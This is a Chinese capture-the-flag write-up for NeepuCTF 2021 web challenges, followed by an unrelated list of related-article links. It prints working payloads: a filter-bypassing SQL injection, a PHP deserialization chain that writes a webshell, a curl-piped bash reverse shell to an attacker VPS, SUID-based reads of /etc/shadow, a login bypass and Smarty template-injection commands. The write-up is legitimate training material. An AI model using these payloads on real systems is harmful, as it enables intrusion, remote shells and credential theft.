[Neepuctf2021]wp
一个比较小众的比赛,是别学校的招新赛,不过也对外开放
记录一点有点难度的题
随便注2.0
是原题“[强网杯 2019]随便注”的变式,过滤的很多
return preg_match("/select|update|delete|drop|insert|where|rename|set|handler|char|\*| | |\./i",$inject);
空格都可以用%0a绕过,但是rename被ban了,改名不能用了,set被过滤,预处理语句的set也不能用了,handle也不能用了,网上流传的这三个方法都不行了
看了wp才知道是这样绕过
用prepare与concat结合绕过
select用逗号,
隔开
0';PREPARE%0cricky%0cfrom%0cconcat('sel','ect%0cflag%0cfrom%0c`@Neepu2021招新赛`');EXECUTE%0cricky;%23
有懈可击
- git泄露
- php特性,点和空格传值的时候会转化成下划线
f12看到测试账号,登入进后台
扫描后台有git泄露
找到了一个index.txt
里面唯一的php代码
传一个值给neepu_debug.mode,然后会执行这个命令
但是出现问题,php中,传值的时候,如果键名有点.
,那么就会转化成下划线_
文档
绕过方法:
使用一个中括号,让他以为是数组
比如这题就可以这样绕过
?neepu[debug.mode=system('cat /flag');
Serialize
- 任意文件读取
- session反序列化
- session_upload配合session反序列化
看他的请求里面有一个/functions/file.php?file=
可以读取文件,这波直接拿到许多网页的源码
<?php
/*** @author: Ricky* @function: Read file* @return string* @param $filename string* @param $dirname string**/header('content-type:image/jpeg');
$filename = $_GET['file'];
$dirname = '/var/www/html/';
if(!preg_match('/^\/|\/$|\.\//', $filename)){$file = file_get_contents($dirname.$filename);echo $file;
} else{die('Read fail :(');
}
index.php
<?php
error_reporting(0);
include "config/backdoor.php";
ini_set('session.serialize_handler','php');
session_start();
class neepu {protected//! Neepu$neepu,//! Memory-held data$data,//! Info$info;public function __construct() {$this->neepu = "<a class=\"navbar-brand\" href=\"index.php\">Serialize</a>";$this->info['info'] = "<a class=\"navbar-brand\" href=\"index.php\">PHPINFO</a>";}public function checkinfo() {if(!isset($_POST['info'])) {echo $this->neepu;}else {echo $this->info['info'];phpinfo();}}public function __call($name,$args) {echo $this->neepu;}public function __toString() {$this->info['info']->data;return "Neepu!";}
}
class n33pu {public//! Neepu func$func;public function __get($args) {$Neepu = $this->func;return $Neepu();}
}
class dumb {public//! dumb$dumb;public function silly(){echo "Who care about it?";}public function __destruct(){$this->dumb->silly();}
}
$Neepu = new neepu();
echo $Neepu->checkinfo();
?>
config/backdoor.php
<?php
class backdoor {protected//! eval code$cmd;public function __invoke() {if(preg_match('/[;+=!@\$\"\.\_\(\)\[\]]{1,}/i',$this->cmd)) {file_put_contents("/var/www/html/neepu.php", "<?php ".$this->cmd);}else{die("A webshell is waiting for you");}}
}
应该是在index里面利用这个backdoor来写一个马进后台
这个马就很特殊,只能有这几个符号,这几个符号一看就是之前遇到的无数字字母命令执行,看p神文章
post一个info就得到了phpinfo
找一下反序列化的点
phar是不行了
发现了一个小细节
他这里使用的session引擎是php,而本身的php版本是php7,php5.5.4后默认php_serialize
ini_set('session.serialize_handler','php');
这里是存在session反序列化,但是题目也没用上session,那就属于session不可直接控制的情况
看一下session_upload,发现是打开的
应该锁定是session反序列化了,然后依靠session_upload写shell
|O:4:\"dumb\":1:{s:4:\"dumb\";O:5:\"neepu\":3:{s:4:\"data\";N;s:5:\"neepu\";O:5:\"neepu\":3:{s:4:\"data\";N;s:5:\"neepu\";N;s:4:\"info\";a:1:{s:4:\"info\";O:5:\"n33pu\":1:{s:4:\"func\";O:8:\"backdoor\":1:{s:3:\"cmd\";s:230:\"$_=[];$_=@\"$_\";$_=$_[\"!\"==\"@\"];$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__++;$__++;$____=\"_\";$____.=$__;$____.=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$_[_]($_[__]);\";}}}}s:4:\"info\";a:1:{s:4:\"info\";O:5:\"n33pu\":1:{s:4:\"func\";N;}}}}
线程开多一点,可以看到成功执行了
但是在phpinfo里面看到很多命令执行函数都被过滤了
找disable
system,exec,shell_exec,pctnl_exec,chroot,curl_exec
漏了一个passthru
成功执行命令
反弹shell进去
这个反弹shell的方法我也是第一次用,curl反弹shell
在自己的vps上创建一个shell.html,里面写上bash -i >& /dev/tcp/公网ip/端口 0>&1
在目标的机子上执行curl 域名/shell.html |bash
然后到自己的vps上执行nc
成功反弹shell
根目录没有flag,那就估计是在root里面,看了一下,没有权限
接下来就是提权
find / -perm -u=s -type f 2>/dev/null
xxd "/etc/shadow" | xxd -r
xxd "/root/flag" | xxd -r
gamebox
万能密码登录进去
1'='0
发现验证码在返回包里面,就是图片名
使用burp的Pitchfork方式爆破
先设置一下,选中验证码图片的名字
最下面的这个要选always
线程为1
开始爆破
成功后进行跳转
注意他请求了一个php文件,用伪协议读取源码
/index.php?file=php://filter/read=convert.base64-encode/resource=rander.php
<?php
// create object
if ($_SESSION['num'] >= 5) {include('smarty/Smarty.class.php');$smarty = new Smarty;$name = $_SESSION["username"];$smarty->display('string:恭喜 '.$name.' 获得了胜利');
}
在这个name里面有着SSTI
重新登录,用这个名字来登陆
# {{shell_exec("\ls\t/")}}'='0
{{shell_exec("cat\t/This_is_your_Flag")}}'='0
然后继续抓包爆破
[Neepuctf2021]wp相关推荐
- [WP]使用ApacheCordova开发HTML5-WindowsPhone应用程序
下载代码示例 这篇文章介绍 Apache 科尔多瓦,创建使用 HTML5 和 JavaScript,跨平台移动应用程序的框架,并显示了如何使用它为 Windows Phone 开发应用程序. Wind ...
- wp实例开发精品文章源码推荐
qianqianlianmeng wp实例开发精品文章源码推荐 WP8 启动媒体应用 这个示例演示了如何选择正确的msAudioCategory类别的音像(AV)流来配置它作为一个音频 ...
- cocos2d-xna for win8源代码轻松移植cocos-xna for wp游戏
无意间看到杨哥弄了一个cocos2d-xna for win8出来可惜没有放出源代码,我试着要了一下结果他没理我,各种画圈圈. 那我只好自己弄一个了,源代码放出大家供交流学习使用,像杨哥说的一样就是一 ...
- linux 更改wp版本号,代码实现移除 WordPress 版本号
默认情况下,WordPress会在页头输出版本号,有一定安全隐患. 在当前主题的functions.php中添加以下代码,可同时移除feed和js/css中的WordPress版本号: // 同时删除 ...
- 图解 wp WordPress 文章 链接 在新窗口打开
wp WordPress 文章 链接 在新窗口打开 因为wp默认是不在新窗口打开链接的,这对于我们这样习惯关窗口的人,用起来很不方便.其实改起来很简单,下面开始 一.打开外观,选择编辑 二.打开主题页 ...
- 正确设置语言,加速WP应用提交
App Hub在7月18日进行了更新.有些用户反馈新增的默认语言选项有点令人费解.本文简单做个介绍,帮助开发者正确设置语言,加速WP应用提交快速.这次的系统更新后,App Hub可以检 ...
- wordpress必装的插件 wp最常用的十个插件
wordpress是世界上著名的博客系统,简称wp.一般新安装完wordpress以后,往往需要首先安装一些插件,这样才可以使用wordpress的更多功能.wp最常用的十个插件有哪些呢,可能根据每个 ...
- WP老杨解迷:开发生态两极化和榜单乱象
WP老杨解迷:开发生态两极化和榜单乱象 Windows Phone 自2013年的一片浪潮推动下,2014年终于开始引起了各大小CP们的注意,于是大量的产品开始乘风破浪一路涌进Windows Phon ...
- WordPress开发之WP Custom Register Login插件试用
简介 WP Custom Register Login可以为你的WordPress网站前台增加注册.登录.找回密码的功能:你可以通过简码在任何页面上调用. 此外,该插件还支持设置自动通过用户的电子邮件 ...
最新文章
- MATLAB_size()和find(),有什么区别?
- php教程数据库操作,PHP实现对文本数据库的常用操作方法实例演示_PHP教程
- 产品经理成长三五事儿:搭建自己的成长模型
- SteamVR 工具包VRTK实例解析
- HDU 1166 敌兵布阵(线段树单点加区间查询)
- List集合_介绍常用方法
- java 权限控制 demo_Java-访问控制权限
- 微信公众号开发经验总结
- 数据结构与算法——排序
- 一个小案例精通lamda表达式与函数式接口
- python爬虫网络中断_Python 爬虫总是超时中断?试试Tenacity重试模块
- 基于上下文化图注意力网络的知识图谱的条目推荐
- Filecoin网络目前总质押量约为3314万枚FIL
- 做游戏,学编程(C语言) 12 炸弹人
- 如何系统的自学python-如何系统地自学Python?
- vue.js2.0视频教程
- 【转载】关于小程序的100个常见问题(基础知识扫盲)
- mandriva urpm类命令
- 微信小程序中wxml中用data-id传出的数据在js中的获取方法。
- 2021-6-8-今日收获
热门文章
- 谷歌流计算论文streaming 101: 批处理之上的世界(一)
- WebGIS——OpenLayers 3 地图叠加自定义卫星/航拍/手绘地图(任意瓦片图)
- 【博弈论】耶鲁大学公开课--博弈论Problem Set 3--Solution
- 看了韩剧,才发现琼瑶阿姨原来是如此含蓄!
- 机器人关节伺服电机三环控制方式
- Shader实例:溶解效果(Dissolve)
- VFP搞定支付你要懂的一些知识,知道才能做到
- BEA Elink 产品介绍
- ant-design-vue vue2图标选择器
- 计算机网络代表着第几次革命,互联网是第几次信息革命